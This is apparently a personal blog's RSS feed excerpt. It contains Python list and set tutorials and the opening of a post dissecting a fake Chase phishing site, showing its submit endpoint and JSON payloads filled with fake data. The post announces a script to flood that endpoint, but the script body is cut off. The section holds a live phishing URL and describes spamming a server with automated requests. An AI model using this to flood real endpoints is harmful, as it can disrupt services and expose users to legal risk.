<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">array</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># requires a more verbose syntax compared to a List</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">array</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="s1">&#39;i&#39;</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># array(&#39;i&#39;, [1, 2, 3, 4, 5])</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Attempting to add an element that doesn&rsquo;t match the type of the existing elements results in an error:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">array</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">array</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="s1">&#39;i&#39;</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s2">&#34;str&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Traceback (most recent call last):</span>
</span></span><span class="line"><span class="cl"><span class="c1">#   File &#34;&lt;stdin&gt;&#34;, line 1, in &lt;module&gt;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># TypeError: &#39;str&#39; object cannot be interpreted as an integer</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Appending elements of the same type will work as expected:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">array</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">array</span><span class="o">.</span><span class="n">array</span><span class="p">(</span><span class="s1">&#39;i&#39;</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># array(&#39;i&#39;, [1, 2, 3, 4, 5, 6])</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>You can learn more about Arrays in this 

<a href="https://www.geeksforgeeks.org/difference-between-list-and-array-in-python/" target="_blank" rel="noopener">GeeksForGeeks article</a>.</p>
<h3 id="reversing-a-list">Reversing a List</h3>
<p>We can reverse a list using this syntax. This does not modify a list in-place, it returns a new list:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">reversed_list</span> <span class="o">=</span> <span class="n">my_list</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [1, 2, 3, 4, 5]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">reversed_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [5, 4, 3, 2, 1]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>We can also use <code>list.reverse()</code> to reverse a list. This modifies the list in-place:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">reverse</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">my_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [5, 4, 3, 2, 1]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>There is also a <code>reversed()</code> function. This function returns an iterator which we can then convert back to a list:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">reversed_list</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="nb">reversed</span><span class="p">(</span><span class="n">my_list</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">reversed_list</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># [5, 4, 3, 2, 1]</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="get-number-of-elements-in-a-list">Get Number of Elements in a List</h3>
<p>Use <code>len()</code> to get the number of elements in a list.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;a&#39;</span><span class="p">,</span> <span class="s1">&#39;b&#39;</span><span class="p">,</span> <span class="s1">&#39;c&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">my_list</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 3</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="count-number-of-occurrences">Count Number of Occurrences</h3>
<p>We can check for the number of occurrences of a value in a list using <code>.count()</code>. In the example below, we check to see how many times the number <code>1</code> appears in the list, which is 5 times:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">my_list</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">my_list</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># 5</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="references">References</h2>
<ul>
<li>

<a href="https://treyhunner.com/2016/04/how-to-loop-with-indexes-in-python/" target="_blank" rel="noopener">https://treyhunner.com/2016/04/how-to-loop-with-indexes-in-python/</a></li>
<li>

<a href="https://www.geeksforgeeks.org/difference-between-list-and-array-in-python/" target="_blank" rel="noopener">https://www.geeksforgeeks.org/difference-between-list-and-array-in-python/</a></li>
<li>

<a href="https://www.geeksforgeeks.org/python-get-first-and-last-elements-of-a-list/" target="_blank" rel="noopener">https://www.geeksforgeeks.org/python-get-first-and-last-elements-of-a-list/</a></li>
<li>

<a href="https://www.w3schools.com/python/python_lists_add.asp" target="_blank" rel="noopener">https://www.w3schools.com/python/python_lists_add.asp</a></li>
<li>

<a href="https://www.w3schools.com/python/ref_list_sort.asp" target="_blank" rel="noopener">https://www.w3schools.com/python/ref_list_sort.asp</a></li>
<li>

<a href="https://stackoverflow.com/questions/43025748/deleting-first-element-of-a-list-in-python" target="_blank" rel="noopener">https://stackoverflow.com/questions/43025748/deleting-first-element-of-a-list-in-python</a></li>
<li>

<a href="https://docs.python.org/3/library/functions.html#enumerate" target="_blank" rel="noopener">https://docs.python.org/3/library/functions.html#enumerate</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Get Unique Elements in a Python List</title>
      <link>https://nelson.cloud/get-unique-elements-in-a-python-list/?ref=rss</link>
      <pubDate>Mon, 22 Apr 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/get-unique-elements-in-a-python-list/?ref=rss</guid>
      <description>Remove duplicate elements from Python lists using the set() function.</description><content:encoded><![CDATA[<p>In Python we can get the unique elements from a list by converting it to a set with <code>set()</code>. Sets are a 

<a href="https://docs.python.org/3/tutorial/datastructures.html#sets" target="_blank" rel="noopener">collection of <strong>unique</strong> elements</a>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">values</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">values</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span><span class="n">values</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">values</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output:</p>
<pre tabindex="0"><code>{1, 2, 3}
</code></pre><p>And if we still need a list instead of a set, we can easily convert back to a list using <code>list()</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">values</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># convert to set to get unique values</span>
</span></span><span class="line"><span class="cl"><span class="n">values</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span><span class="n">values</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># convert back to list</span>
</span></span><span class="line"><span class="cl"><span class="n">values</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">values</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">values</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output:</p>
<pre tabindex="0"><code>[1, 2, 3]
</code></pre><blockquote><p><strong>Warning:</strong></p>The order of elements after using <code>set()</code> is not guaranteed. I wrote the examples in order to make it clear that duplicates were removed.</blockquote>

<hr>
<p>I learned this trick after realizing that unfortunately Python doesn&rsquo;t have a 

<a href="https://apidock.com/ruby/Array/uniq" target="_blank" rel="noopener"><code>uniq()</code> method like Ruby</a> that does this exact thing.</p>
<p>There&rsquo;s also other ways of getting unique values from a list that you can read about in 

<a href="https://www.geeksforgeeks.org/python-get-unique-values-list/" target="_blank" rel="noopener">this GeeksforGeeks article</a>. I didn&rsquo;t cover the other cases because I feel like the easiest way is to use <code>set()</code>.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://docs.python.org/3/tutorial/datastructures.html#sets" target="_blank" rel="noopener">https://docs.python.org/3/tutorial/datastructures.html#sets</a></li>
<li>

<a href="https://www.geeksforgeeks.org/python-get-unique-values-list/" target="_blank" rel="noopener">https://www.geeksforgeeks.org/python-get-unique-values-list/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Making Life More Difficult for Bank Scammers</title>
      <link>https://nelson.cloud/making-life-more-difficult-for-bank-scammers/?ref=rss</link>
      <pubDate>Thu, 22 Feb 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/making-life-more-difficult-for-bank-scammers/?ref=rss</guid>
      <description>Using Python to flood scammers with fake information.</description><content:encoded><![CDATA[<p>If you&rsquo;ve been around you know I enjoy spamming phishing/scamming sites. I recently received this fake Chase email and decided to go down another phishing/scamming attempt.</p>
<img src="/chase-scam/email.webp" alt="Phishing Email" width="720" height="357" style="max-width: 100%; height: auto; aspect-ratio: 1500 / 744;" loading="lazy" decoding="async">
<p>The email linked to a Google Drive link of a PDF.</p>
<img src="/chase-scam/pdf.webp" alt="Google Drive PDF" width="720" height="276" style="max-width: 100%; height: auto; aspect-ratio: 2796 / 1072;" loading="lazy" decoding="async">
<p>The PDF itself links to somewhere else. I clicked on the PDF and after some redirects I ultimately landed on a fake Chase login site. Look at the URL lol.</p>
<img src="/chase-scam/login.webp" alt="Fake Chase login form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>Next, I opened my browser dev tools, I filled in the form and pressed &ldquo;Sign In&rdquo;.</p>
<p>A <code>POST</code> request goes out to <code>https://secure005.access.chaise.com.secure-accessaccount.com/submit.php</code> with this payload:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;ip&#34;</span><span class="p">:</span><span class="s2">&#34;138.199.35.102&#34;</span><span class="p">,</span><span class="nt">&#34;uagent&#34;</span><span class="p">:</span><span class="s2">&#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;0&#34;</span><span class="p">,</span><span class="nt">&#34;j_username&#34;</span><span class="p">:</span><span class="s2">&#34;anon&#34;</span><span class="p">,</span><span class="nt">&#34;j_password&#34;</span><span class="p">:</span><span class="s2">&#34;password&#34;</span><span class="p">,</span><span class="nt">&#34;securityToken&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I was shown this page:</p>
<img src="/chase-scam/wrong-credentials.webp" alt="Error message" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>And of course on the frontend there&rsquo;s a message about incorrect credentials. It&rsquo;s one of the most common tricks these people use.</p>
<p>Attempting to submit new credentials does nothing. I noticed that the &ldquo;reset your password&rdquo; link is the only way forward so I clicked that and it took me to this page:</p>
<img src="/chase-scam/otp.webp" alt="One-time code form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>It&rsquo;s asking for a one-time code. I&rsquo;m not really sure how they expect people to enter a code that they normally receive after submitting <em>correct</em> credentials. Not only that but they don&rsquo;t even know the phone number of the user. Either way, I filled in <code>000000</code> and hit &ldquo;Next&rdquo;.</p>
<p>Another <code>POST</code> request goes out to the same URL as before: <code>https://secure005.access.chaise.com.secure-accessaccount.com/submit.php</code> with this JSON:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;1&#34;</span><span class="p">,</span><span class="nt">&#34;otp&#34;</span><span class="p">:</span><span class="s2">&#34;000000&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>(I think it&rsquo;s obvious now that the <code>stp</code> parameter that keeps showing up represents the step of the fake password recovery process. And based on the value of step, the logic of <code>submit.php</code> parses the JSON accordingly.)</p>
<p>Then I landed on this page that asks me for my card information:</p>
<img src="/chase-scam/credit-card.webp" alt="credit card form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>I once again filled the form with fake information and hit &ldquo;Next&rdquo;. Another <code>POST</code> request went out to the same URL as before. The main thing that changes here are the headers and the JSON payload.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;2&#34;</span><span class="p">,</span><span class="nt">&#34;cnum&#34;</span><span class="p">:</span><span class="s2">&#34;6504 8764 7593 8248&#34;</span><span class="p">,</span><span class="nt">&#34;expd&#34;</span><span class="p">:</span><span class="s2">&#34;03/24&#34;</span><span class="p">,</span><span class="nt">&#34;cvv&#34;</span><span class="p">:</span><span class="s2">&#34;333&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>(Also, I haven&rsquo;t been showing the headers because they&rsquo;re not that interesting, but I am keeping track of them for scripting purposes later.)</p>
<p>Next, I was shown this form. Notice how the first field says &ldquo;Full Number&rdquo;. I&rsquo;m pretty sure they meant &ldquo;Full Name&rdquo; lol.</p>
<img src="/chase-scam/personal-details.webp" alt="personal details form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>Once again, I filled out and submitted the form.</p>
<p>Once again, a <code>POST</code> request goes out to the same URL. This time the JSON payload looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;3&#34;</span><span class="p">,</span><span class="nt">&#34;fullname&#34;</span><span class="p">:</span><span class="s2">&#34;Fuck You&#34;</span><span class="p">,</span><span class="nt">&#34;bdate&#34;</span><span class="p">:</span><span class="s2">&#34;01/01/1900&#34;</span><span class="p">,</span><span class="nt">&#34;ssn&#34;</span><span class="p">:</span><span class="s2">&#34;123-74-6772&#34;</span><span class="p">,</span><span class="nt">&#34;phone&#34;</span><span class="p">:</span><span class="s2">&#34;(827) 373-8139&#34;</span><span class="p">,</span><span class="nt">&#34;address&#34;</span><span class="p">:</span><span class="s2">&#34;some st&#34;</span><span class="p">,</span><span class="nt">&#34;city&#34;</span><span class="p">:</span><span class="s2">&#34;some city&#34;</span><span class="p">,</span><span class="nt">&#34;state&#34;</span><span class="p">:</span><span class="s2">&#34;FU&#34;</span><span class="p">,</span><span class="nt">&#34;zip&#34;</span><span class="p">:</span><span class="s2">&#34;82920&#34;</span><span class="p">,</span><span class="nt">&#34;email&#34;</span><span class="p">:</span><span class="s2">&#34;nah@fu.com&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The <code>fullname</code> key in the JSON payload confirms that they meant to write &ldquo;Full Name&rdquo; in the field as opposed to &ldquo;Full Number&rdquo; lol.</p>
<p>After submitting the previous form I was shown yet another one, this time asking for email address and email password. They are really thorough. They also asked for my email in the previous step so that was a bit redundant.</p>
<img src="/chase-scam/email-form.webp" alt="email form" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<p>I typed in some fake credentials and submitted the form. A <code>POST</code> request goes out to the same URL as before with the following JSON payload:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;uid&#34;</span><span class="p">:</span><span class="s2">&#34;1ef25781cb3fd42f981b2bbb183d9887&#34;</span><span class="p">,</span><span class="nt">&#34;stp&#34;</span><span class="p">:</span><span class="s2">&#34;4&#34;</span><span class="p">,</span><span class="nt">&#34;cemail&#34;</span><span class="p">:</span><span class="s2">&#34;nah@fu.com&#34;</span><span class="p">,</span><span class="nt">&#34;bdate&#34;</span><span class="p">:</span><span class="s2">&#34;ajlksdasdjl&#34;</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I was redirected to the official Chase site:</p>
<img src="/chase-scam/chase-site.webp" alt="official chase site" width="720" height="492" style="max-width: 100%; height: auto; aspect-ratio: 2552 / 1744;" loading="lazy" decoding="async">
<h2 id="spamming-fake-information-with-python">Spamming Fake Information with Python</h2>
<p>If you&rsquo;ve read my previous articles about scams and phishing, you know what&rsquo;s next. It&rsquo;s time to write up a Python script to spam these people with fake information and hopefully make their lives harder.</p>
<p>These guys were thorough so I&rsquo;ll need to dynamically create 5 different payloads and send them to the url. Thankfully it&rsquo;s the same endpoint for all of these payloads.</p>
<p>I want to dynamically generate headers and payloads that seem as realistic as possible. These scammers were thorough so I want to be thorough in making their lives more difficult (also I&rsquo;m unemployed right now so I have a lot of free time. Someone please hire me 🥺)</p>
<p>This is the Python script I came up with:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
